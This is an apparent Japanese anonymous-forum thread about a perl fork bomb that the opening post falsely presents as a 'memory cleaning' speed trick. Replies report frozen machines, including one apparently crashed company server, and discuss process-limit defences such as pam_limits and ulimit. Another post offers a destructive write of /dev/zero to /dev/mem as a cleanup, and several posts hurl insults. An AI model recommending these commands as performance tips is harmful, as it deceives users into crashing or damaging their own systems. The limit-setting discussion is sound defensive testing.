簡単！メモリクリーニング

**名無しさん＠お腹いっぱい。** · NG

UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、

$ perl -e 'while (1) { fork; }'

とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。

**名無しさん＠お腹いっぱい。** · NG

何にしてもアンチというのは現状を見ようとしませんね。

「死ぬ」という事にしたいだけなんでしょうけど。
哀れ。

**名無しさん＠お腹いっぱい。** · NG

コレかな?

ユーザーごとに使用できるリソース制限をしたい
http://www.zdnet.co.jp/help/tips/linux/l0652.html

**名無しさん＠お腹いっぱい。** · NG

UNIXベースのMacOSXでは無理ですた。

**名無しさん＠お腹いっぱい。** · NG

>>78
そーいやWin2Kで(迂闊にも)部落ら踏んだ時は、GDIだかUSERだかの
リソース制限超えてExplorer反応無し->あぼーん、そのままログオフも
できずCTRL+ALT+DELにも反応せず、結局電源ぶちしか出来なくなった
事があったな。

# NT系でも一応リソース制限はあるらしい。つか、リソース食いつぶし
# を防ぐ為に制限してると聞いたが、効果無いやん…

今回のようにコンソールプロセスなら大丈夫なのかもしれんが。

**名無しさん＠お腹いっぱい。** · NG

**実験結果**

/etc/pam.d/login と /etc/pam.d/ssh に
---
session required pam_limits.so
---
を追加。

以下の内容で/etc/security/limits.conf を作成
---
@stupiduser hard priority 19
@stupiduser hard nofile 8139
@stupiduser hard nproc 20
@stupiduser - maxlogins 2
---

/etc/login.defs の "QUOTAS_ENAB" は
deprecatedらしいのでコメントにする。

念のために3つ以上ログインしようとすると"permission denied"が返ってくる
、つまり設定有効になっていることを確かめてから >>1 をやってみた。

ぜんぜん平気だった。

**名無しさん＠お腹いっぱい。** · NG

訂正
-@stupiduser
+@stupidgroup
ユーザー名で指定するときは頭の@は要らず、
また、ワイルドカードが使用可の模様。

**名無しさん＠お腹いっぱい。** · NG

>>96
いやー、mbuf cluster使い切るとpingとかにもぜんぜん答えなくなるけれど、
これって3分くらいで回復しないのではないかと思うので30分くらい待ちましょうということで。

>>97
むしろすぐに「死んだ」と言うなんてかなり気が短いと思うが。

**名無しさん＠お腹いっぱい。** · NG

>>107
実験環境キボーンヌ。
OSは?kernel versionは?マシンのスペックは?

**名無しさん＠お腹いっぱい。** · NG

>>109
でもさすがに３０分も放置ﾌﾟﾚｲだとTCPも切れるし、
fsck時間考慮しても再起動したほうが早くね？

**名無しさん＠お腹いっぱい。** · NG

うちではfsckなんてありません。
ジャーナリングファイルシステムマンセー

**名無しさん＠お腹いっぱい。** · NG

うちではfsckなんてありません。
スキャンディスクマンセー

**名無しさん＠お腹いっぱい。** · NG

ﾜﾗﾀ

**名無しさん＠お腹いっぱい。** · NG

結局は何も設定してないLinux系は止まってしまうということですか…

**名無しさん＠お腹いっぱい。** · NG

いいえ
つか、アンチ必死だな

**名無しさん＠お腹いっぱい。** · NG

で、どうやったらLinux止まるんだ？
>>1のやつじゃ、ビクともしませんが。

**名無しさん＠お腹いっぱい。** · NG

halt
もしくは
shutdown -h now

確実に止まります、Linuxに限らずUnix系OSはウンコですね。

**名無しさん＠お腹いっぱい。** · NG

Linuxは30分に１分程度使えるくらいなら正常動作説浮上

**名無しさん＠お腹いっぱい。** · NG

Windowsはコマンド一個じゃ止まりません。
すばらしい堅剛性まさに無敵。
おまいら、羨しいだろ。
素直にWindows使え。

**名無しさん＠お腹いっぱい。** · NG

>>119
ﾊｧ? 何言ってんの？
WindowsやMacと一緒にすんなよ。

きもちわりー

**名無しさん＠お腹いっぱい。** · NG

無知な窓坊相手にするなよ。
30分に１分使えれば正常動作説ってことにしといてやれよ。
じゃないと、>>119が可哀想。
ああいう事するしか自分を支え術がないんだよ。
可哀想な人なんだよ。

**名無しさん＠お腹いっぱい。** · NG

そうか、すまんかった>>119
イキロ

**名無しさん＠お腹いっぱい。** · NG

可哀想な>>119を慰めるスレはここですか？

**名無しさん＠お腹いっぱい。** · NG

>>119
がんがれよ、その内いいこともあるさ

NG

>>119
がんがれよ、その内いいこともあるさ

**名無しさん＠お腹いっぱい。** · NG

>>119に友達になってくれそうな人探してきた。

いらすま
山崎渉
山崎13
自動化

よかったね。友達増えそうだね。

**名無しさん＠お腹いっぱい。** · NG

>>119
がんがって氏ね

**名無しさん＠お腹いっぱい。** · NG

>>128
そんな事いっちゃみもふたもないよ!
どんな奴にも生きる権利はあるんだよ!!
がんがれ>>119 まけんな!
いつか良いことあるさ!
とりあえず、学校で友達つくろうね!

**名無しさん＠お腹いっぱい。** · NG

>>119
友達作る前に、まずは家から出ようね!

**名無しさん＠お腹いっぱい。** · NG

>>119
家から出る前に、家族と話す練習しておこうね!

NG

漏は、>>119 が可哀想になってきたよ

**名無しさん＠お腹いっぱい。** · NG

>>132
みんな同じ気持だよ!
だから>>119を応援してあげようね!

>>119 カウンセリングはちゃんと受けようね!
病院の先生の言う事聞いて早く学校に行けるようになると良いね!!!
学校で精神薄弱者扱いされても、めげちゃだめだよ!!!!

**名無しさん＠お腹いっぱい。** · NG

>>1
動かしました。
スワップぎこぎこ言ってたのでCTRL+Cしたあとにfreeしたら
空きがすっぽり増えてました・・・

けどキャッシュがへってんじゃねぇかよ！意味ねぇっつうの！

**名無しさん＠お腹いっぱい。** · NG

>>134
書き込む前にレスは嫁

**名無しさん＠お腹いっぱい。** · NG

>>1のやり方じゃあスワップは発生せんということ

**119** · NG

>>123
ありがと。わかってくれるのはきみと>>109だけだよ。

**名無しさん＠お腹いっぱい。** · NG

CTRL+C で抜けられるジャン、は「落ちている」の範疇に含まれるですね。
すいませんでした。

>>107
[root@g /root]# uname -r
2.2.18-0vl4.2my

で同じ設定やってみました。
一般ユーザーからならこれで大丈夫なことが私の方でも
上記カーネルの Vine 2.1.5 で確認できました。

ただやはり root からだと駄目みたいです。
プロセスが起動できませんとかってコマンドがでてしまいます。

CTRL+C できない状況だった場合は、もうどうしよーも無いという認識
でOKでしょうか。

SysRq キーとかから蘇生させる方法とか、なんかまた明日の就業時間
中にでも調べてみます。

＞＞＜レガッタでやった人の番号＞
# 会社のマシンじゃRegatta どころか C20 とかでもこんなこと
# 俺できない立場っすよ。いいですね本当に良い物で遊べるなんて。

**名無しさん＠お腹いっぱい。** · NG

ctrl+alt+k

**名無しさん＠お腹いっぱい。** · NG

>>118
見てたら眠くなってきた。

**名無しさん＠お腹いっぱい。** · NG

Ctrl+Cでは止まらんかったぞい

**名無しさん＠お腹いっぱい。** · NG

>>120
http://www.microsoft.com/japan/windowsxp/expertzone/tips/february/randow1.asp
http://arena.nikkeibp.co.jp/qa/os/20020320/01/
知識を得てから煽れ。

**名無しさん＠お腹いっぱい。** · NG

どりゃぁ！
sudo cat /dev/zero > /dev/mem
少しすっきり・・・しない？

**名無しさん＠お腹いっぱい。** · NG

まあとにかく
結果はどうあれ

Ｌ　ｉ　ｎ　ｕ　ｘ　は　ウ　ン　コ　
　と　に　か　く　ウ　ン　コ
　絶　対　ウ　ン　コ
　ウ　ン　コ　以　外　あ　り　え　な　い
Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　最　強

**名無しさん＠お腹いっぱい。** · NG

さっき、自鯖にNetBSD入れました…
社内用なんでSambaとApacheしか動かさないけど
それでいいよね（ｗ

**名無しさん＠お腹いっぱい。** · NG

Ｗ　ｉ　ｎ　ｄ　ｏ　ｗ　ｓ　を　入　れ　な　さ　い
　Ｎ　ｅ　ｔ　Ｂ　Ｓ　Ｄ　な　ん　て　気　違　い　の　使　う　物　で　す

**あぼーん** · NG

あぼーん

**名無しさん＠お腹いっぱい。** · NG

>>146
いれるまでもなく最初から入ってますが。

**名無しさん＠お腹いっぱい。** · NG

ふーん

**名無しさん＠お腹いっぱい。** · NG

この板にもWin厨がいるんだ・・・
ってかtatibanaか？Linux板で居場所がなくなったからこっちきたとか？

**おむこさん志望** ◆QtGqCwfDSA · NG

Linux 2.5.72/Celeron 1.4G/384MB で試した結果、ユーザの最大プロセス数が
大きい値( Debian sid で 3071 )でかつカーネルパラメータを特に変更せずに
>>1 をやると結構辛い(一応再起動せずに終了できたけど。)

>>84
/proc/sys/kernel/threads-max をもっと小さめ(デフォルトで6000)に制限して
おくと unlimited でもハングアップしなくなるよ。

NetBSD 1.6.1 では、ユーザ側でたとえ最大プロセス数が unlimited でも
/netbsd: proc: table is full - increase kern.maxproc or NPROC と >>83 みたいに
デフォルトの値が小さめになってる(というか Linux のデフォルトがまずいのか)ので
問題なく終了できた。

**名無しさん＠お腹いっぱい。** · NG

ほらLinuxはウンコだ。
Windowsは自己防御のために再起動してくれる親切設計なのにね。
Linuxは時代遅れ決定(ｹﾞﾗｹﾞﾗ

**名無しさん＠お腹いっぱい。** · NG

Linuxウンコ記念age

**名無しさん＠お腹いっぱい。** · NG

>>152
禿しく何かが違う気がするが
(ーё一)ｷﾉｾｰﾆｬ。

**名無しさん＠お腹いっぱい。** · NG

ネタですからw

**名無しさん＠お腹いっぱい。** · NG

Windowsはユーザに見苦しいエラーメッセージを見せず
鮮かなブルーの画面で、ユーザーの心を癒し
ユーザーの手間を煩わせず自動で再起動。

それまでの作業中のファイルは、ユーザー教育のために一から作成させる
すばらしい心意気。

**名無しさん＠お腹いっぱい。** · NG

プロセス数制限すると大丈夫ってことで
じゃあ制限を外すとどうなるのかってのが気になる

**名無しさん＠お腹いっぱい。** · NG

と、こんな感じ？w

**１５７** · NG

すまんそ

**名無しさん＠お腹いっぱい。** · NG

いえいえ。

**名無しさん＠お腹いっぱい。** · NG

>>156
しかも、画面の色が赤とか黒とかではなく、
世界で最も愛される色・気持ちを落ち着かせてくれる色である
「青」というのが大きなポイントだね。

**名無しさん＠お腹いっぱい。** · NG

そう、エラーという不測の自体を
癒しにかえてくれる素敵なWindows

**名無しさん＠お腹いっぱい。** · NG

最近は謝ってくれるらしいし

**名無しさん＠お腹いっぱい。** · NG

XPか。
そういや、Gentoo Linux 使ってみたら

su
Password:
su: Authentication failure
申し訳ございません.

陳謝ブームか？

**名無しさん＠お腹いっぱい。** · NG

>>143

神！！！

NG

>>143
sudoers に、catが登録されてません

**名無しさん＠お腹いっぱい。** · NG

>>166
suしてくらさい

**名無しさん＠お腹いっぱい。** · NG

そうっsuか。

**名無しさん＠お腹いっぱい。** · NG

kernel.orgで誰か試したな。ﾜﾗﾀ。

**名無しさん＠お腹いっぱい。** · NG

load averages最高記録はこのスレでよいですか?

**名無しさん＠お腹いっぱい。** · NG

>>170
漏れは300いった。

**名無しさん＠お腹いっぱい。** · NG

うほっ！けっこうマジメな動作報告スレと化してるじゃん。ﾜﾛｰﾀ
犬糞馬糞のほかはどうなんよ?
この際、商用ウニ糞での結果の方が重要だろ(とマジメぶってみる

**名無しさん＠お腹いっぱい。** · NG

こういうのはさ、
「一般ユーザがソシアルハックなしに
そのマシンを動作不能にできるのはバグである」
というような考え方なのかな。

**名無しさん＠お腹いっぱい。** · NG

バグとは違う様な

**名無しさん＠お腹いっぱい。** · NG

つーか物言いが極端なﾔｼだな

**名無しさん＠お腹いっぱい。** · NG

これをバグというなら、アクセルいきなり床まで踏んで尻を
振ってしまうような車は欠陥車、とかいう話になる。

**173** · NG

バグってのは極端な言い方だったけど、
そういう考え方をどっかで聞いたことがあったのよ。
「UNIX は性善説のシステム」とかだったかな。
win, mac も同じだが。

ATM が一般ユーザにとめられたらバグという表現になるんだろうけどな。
自由度と堅牢性の両立の問題だな。

**名無しさん＠お腹いっぱい。** · NG

それはメインフレームとの比較で使われる言葉かと。
あとはMulticsとの比較とか。
確かに性善説ではあるが、利便性とのドレードオフで
使い易く・軽いシステムに成った。
# 最近は肥大化で重ーくなりつつあるが・・・

**名無しさん＠お腹いっぱい。** · NG

ドレードオフ？

46 · NG

>>レスをいただいた皆様。
46です。なんかが、目をはなしているうちに嘘つきよばわりされているので....

P4+RAM512M+スワップ512M に素の2.4.20(パッチなし) + RedHat7.3由来のユーザランド
で、既に起動していたXのプログラム, Xサーバ自身, デーモン類もおちていきました。
最終的になにがのこったのかはtopが殺されてからはわからなくなりましたが、
操作ができなくなったため最終的には電源を遮断しました。

**名無しさん＠お腹いっぱい。** · NG

PCの性能それ激しく劣るけども、ほぼ同等の状態があるので
テストしてみました。

ほんとに落ちるのだろうか、まだ落ちる気配もない。

**181** · NG

>>180はデーモン何動かしてるんだろ
うちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。
それとdbskkd-cdbくらいかな。
MMX pentium 200Mhz Mem96MB。
普通に使っててもメモリ不足気味な状態です。

46 · NG

>>180
捕捉。
no more processes? がでるまで数分かかりました。10分いかないぐらいでプ
ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな
いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動?
電源遮断は40分後です。

**名無しさん＠お腹いっぱい。** · NG

>>180
1. rootでやったのか？
2. プロセス数制限はあったのか？

**名無しさん＠お腹いっぱい。** · NG

>>184
root で全unlimitです。

**名無しさん＠お腹いっぱい。** · NG

会社のサーバーにSSHで繋いでリモートからroot になったあと実行。
OS はRedHatだが、固まった。
結構重要なシステムなので漏れは首だな。
首ですむならまだいいが、損害も出るだろうから
もう終りだ。2chに書いてあったから試してみたなんて
言えるはずが無い。
あああああ。

**名無しさん＠お腹いっぱい。** · NG

ホームラン級のバカだな。
なんでｿﾗﾘｽでやったとかAIXでやったとか
いう書き込みがないのか、今なら分かるだろ?

**名無しさん＠お腹いっぱい。** · NG

>>186のメジャー移籍が決定しますた

**名無しさん＠お腹いっぱい。** · NG

>>186
まぁ、冗談だとは思うけど、仮に事実だとして、
君みたいなのに重要なサーバのroot権限与えてるような会社だったら
原因不明でセーフだろ
それに、転職できるチャンスだよ、鯖管は君には向いてないよ。

**名無しさん＠お腹いっぱい。** · NG

プロセステーブル使い果たして落ちるだけだと思うんだが...
普通なら、それ以前にlimitで止められる。

**名無しさん＠お腹いっぱい。** · NG

>>187
スレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・
>>190
スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。
ただしカーネル2.5系では蘇生可能という説も。

**名無しさん＠お腹いっぱい。** · NG

思わずスレタイをよく読んでしまい、( ﾟДﾟ)? となる漏れであった。

**名無しさん＠お腹いっぱい。** · NG

>>191
limitは2.4でも出来ますが

**名無しさん＠お腹いっぱい。** · NG

定説です。

**名無しさん＠お腹いっぱい。** · NG

>>1
# yes > /dev/null

ではダメか？

**名無しさん＠お腹いっぱい。** · NG

>>191
ulimit -u 32; perl ...
でブロックできてるが、これとは違うのか？
--- 2.4.20にて

**名無しさん＠お腹いっぱい。** · NG

>>196
root でやってみてよ！
ダメでしょ！
おちるでしょ！
at Redhat9

kernel になにかパッチとかしたんですか？

**名無しさん＠お腹いっぱい。** · NG

赤帽は独自にパッチ集めてきて当ててるよ。
むしろ、自前パッチもあたってるな。

**名無しさん＠お腹いっぱい。** · NG

まぁrootはある意味、神なので
rm -rf * もできるし
limitを超えての操作が出来てもあたりまえなんすかねぇ…(?

**名無しさん＠お腹いっぱい。** · NG

plan9つかえ

**名無しさん＠お腹いっぱい。** · NG

Woody kernel-2.4.18 一般ユーザで実行
完全にフリーズ状態で外部からping以外反応無し
焦ってctrl+alt+delete三十回ほど連打したら何とか再起動
これじゃやばいっす

**名無しさん＠お腹いっぱい。** · NG

plan9使えといっている

**名無しさん＠お腹いっぱい。** · NG

焦ってctrl+alt+delete三十回ほど連打するヤツがやばいっす